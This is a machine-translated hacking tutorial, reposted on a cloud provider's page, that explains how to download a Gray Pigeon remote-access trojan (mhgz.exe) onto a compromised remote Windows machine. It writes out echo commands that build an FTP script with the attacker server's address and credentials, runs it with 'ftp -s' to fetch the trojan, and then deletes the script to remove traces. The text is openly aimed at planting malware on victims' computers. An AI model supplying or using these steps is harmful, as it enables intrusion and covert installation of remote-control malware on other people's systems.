How to download FTP files in the remote computer's cmd _dos/bat

Source: Internet
Author: User
In the remote computer's CMD environment, if the file can not be routed through the ipc$ channel, it is only through FTP to download the file.
Suppose we already have an FTP server with a mhgz.exe of our configured gray Pigeon Trojan file, we should know the FTP server three parameters:

1, FTP server IP address: such as 1.1.1.1
2, the user name of the FTP server: such as test
3, FTP server password: such as test123

Under CMD, in the remote computer, enter the following command:

1, Echo Open 1.1.1.1>>test.txt landing FTP server
2, Echo test>>test.txt user name
3, Echo test123>>test.txt password
4, Echo Bin>>test.txt started
5, echo get mhgz.exe>>test.txt download Gray pigeon Trojan
6, Echo Bye>>test.txt shut down the FTP server

When you enter the above command, a Test.txt file is generated on the remote computer, which reads:
Open 1.1.1.1
Test
Test123
Bin
Get Mhgz.exe
Bye

Now we execute the following command on the remote computer:
Ftp-s:test.txt mean, read the parameters in Test.txt, execute FTP command, after the execution of the command, Gray Pigeon Trojan file Mhgz.exe downloaded to the other computer.


Del C:\test.txt
Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.